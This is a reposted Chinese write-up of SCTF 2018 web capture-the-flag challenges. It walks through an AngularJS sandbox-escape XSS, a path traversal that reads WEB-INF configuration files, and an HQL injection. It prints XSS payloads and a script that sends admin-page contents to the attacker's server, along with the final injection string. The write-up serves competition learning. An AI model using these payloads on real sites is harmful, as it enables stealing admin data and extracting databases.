SCTF 2018 web部分writeup

转载声明

本文是转载文章,文章原作者theKingOfNight,文章来源:安全客

原文地址:https://www.anquanke.com/post/id/149324/


稍微一个小小的吐槽,安全客文章只有在工作日才处理,所以复现完过了几天安全客才终于出来了....
NU1L师傅写的wp有点糙,我就抓紧时间复现了下

Web

新的建议板

师傅最近开始学前端 想写个建议板 后来失败了?


SCTF 2018 web部分writeup_第1张图片
image.png

登录上题,注册了一个账号,直接查看js模板


SCTF 2018 web部分writeup_第2张图片
image.png
直接在前端的min-test.js
angular.module("mintest",["ngRoute"]).controller("IndexController",function($scope,$route)
{$scope.$route=$route}).config(function($routeProvider)
{$routeProvider.when("/admintest2313",
{templateUrl:"view/admintest2313.html",controller:"IndexController"}).when("/home",
{templateUrl:"view/home.html",controller:"IndexController"}).when("/login",
{templateUrl:"view/login.html",controller:"IndexController"}).when("/loginout",
{templateUrl:"view/loginout.html",controller:"IndexController"}).when("/register",
{templateUrl:"view/register.html",controller:"IndexController"}).when("/suggest",
{templateUrl:"view/suggest.html",controller:"IndexController"})});

直接可以到后台路径,尝试访问view/admintest2313.html,查看源代码
SCTF 2018 web部分writeup_第3张图片
image.png

可以直接看到后台程序的接口

/api/memos/admintest2313

直接可以在这里看到使用的AngularJS模板,直接查找相应的模板漏洞

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}

然后直接利用xss反弹到自己的服务器上,看看能获取什么

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };window.open("你的ip")//');}}
SCTF 2018 web部分writeup_第4张图片
image.png
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'$.getScript('http://xxxxxxxxxxxxx/xss1.js');\'))//');}}
xss.js
$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('http://xxxxxxxxxxxxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('
'); de.contentDocument.forms[0].submit(); de.style.display = 'none'; }
SCTF 2018 web部分writeup_第5张图片
image.png

把那一堆base64解密




  
    
    
    
    
    
    
    

    SYC


    
    
    
    

    
    
    

  

  

    


HELLO adminClound

新版后台2.0!

这里可以获得用户名adminClound
尝试访问/api/memos/adminClound得到如下信息

[{"memo":"文件密码:HGf^&39NsslUIf^23"},{"memo":"规定完成时间:6月30日"},{"memo":"项目完成删除备忘录功能"}]
SCTF 2018 web部分writeup_第6张图片
image.png

修改js文件继续访问这两个路径(改url)

/admin/file

admin/suggest

留言

接下来东西都有了,直接访问加密的那个文件/admin/file

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("$.post('/admin/file',{'filepasswd':'HGf^&39NsslUIf^23'},function(data){(new Image()).src="你的ip/?info="+escape(data);});"));//');}}

Zhuanxv

你只是在扫描目标端口的时候发现了一个开放的web服务

SCTF 2018 web部分writeup_第7张图片
image.png

扫描一波目录,可以扫到list,然后访问可以抓到怎么一个包


SCTF 2018 web部分writeup_第8张图片
image.png

猜测可能是文件读取

同时在github上可以找到源码,有用的信息如下
SCTF 2018 web部分writeup_第9张图片
image.png

SCTF 2018 web部分writeup_第10张图片
image.png

SCTF 2018 web部分writeup_第11张图片
image.png
初始用户名是:homamamama
不过密码改了,拿弱口令字典可以爆出来密码是6yhn7ujm

然后在访问list目录,然后什么都没有发生.......

然后可以看到这个是java写的应用,构造路径直接读取一下web.xml
SCTF 2018 web部分writeup_第12张图片
image.png

直接在github上找框架

https://github.com/martin-wong/iCloud
SCTF 2018 web部分writeup_第13张图片
image.png

SCTF 2018 web部分writeup_第14张图片
image.png

然后直接构造路径读取文件

配置文件
HTTP/1.1 200 
Content-Disposition: attachment;filename="bg.jpg"
Content-Type: image/jpeg
Date: Fri, 22 Jun 2018 03:51:44 GMT
Connection: close
Content-Length: 2243





    
    
    
    
        
            
        
        
            /ctfpage/login.jsp
            /ctfpage/welcome.jsp
        
        
            
                image/jpeg
                attachment;filename="bg.jpg"
                downloadFile
            
            /ctfpage/welcome.jsp
        
    
    
        
            
            
                
                
            

        
        
            
                
                    execute
                
            
            /ctfpage/login.jsp
            /ctfpage/welcome.jsp
            /ctfpage/welcome.jsp
        
    

然后根据这个逐个的吧文件读取下来
最后可以发现在../../WEB-INF/classes/applicationContext.xml中



    
        
            com.mysql.jdbc.Driver
        
        
            jdbc:mysql://localhost:3306/sctf
        
        
        
    
    
        
            
        
        
            user.hbm.xml
        
        
            
                org.hibernate.dialect.MySQLDialect
                true
            
        
    
    
        
            
        
    
    
        
            
        
    
    
        
            
        
        
            
                PROPAGATION_REQUIRED
                PROPAGATION_REQUIRED,readOnly
            
        
    
    
        
            
        
    
    
        
            
        
    

可以看到是用hibernate执行sql
而且flag在数据库中,就需要读取数据库
顺便读取一下../../WEB-INF/classes/user.hbm.xml




    
        
            
        
        
        
    
    
        
            
        
        
    

然后在将applicationContext.xml中相应的class反编译,查看过滤条件
这里只贴出关键代码

    //UserLoginAction.class

    public boolean userCheck(User user) {
        List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if ((userList != null) && (userList.size() == 1)) {
            return true;
        }
        addActionError("Username or password is Wrong, please check!");
        return false;
    }

    //UserServiceImpl.class

    public List  loginCheck(String name, String password) {
        name = name.replaceAll(" ", "");
        name = name.replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
        if (password_matcher.find()) {
            return this.userDao.loginCheck(name, password);
        }
        return null;
    }
    
    //UserDaoImpl.class

    public List < User > loginCheck(String name, String password) {
        return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");  
    }

剩下的就是注入了,需要符合Hsql语法规则
最后的payload

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

easiest web - phpmyadmin

直接看这个
https://www.jianshu.com/p/f51b6e54d613

其他的题我目前的能力还不足以达到,还需努力......

参考http://www.venenof.com/index.php/archives/551/
http://sec2hack.com/ctf/sctf2018-web-writeup.html
在膜一波W&P和NU1L的师傅们

你可能感兴趣的:(SCTF 2018 web部分writeup)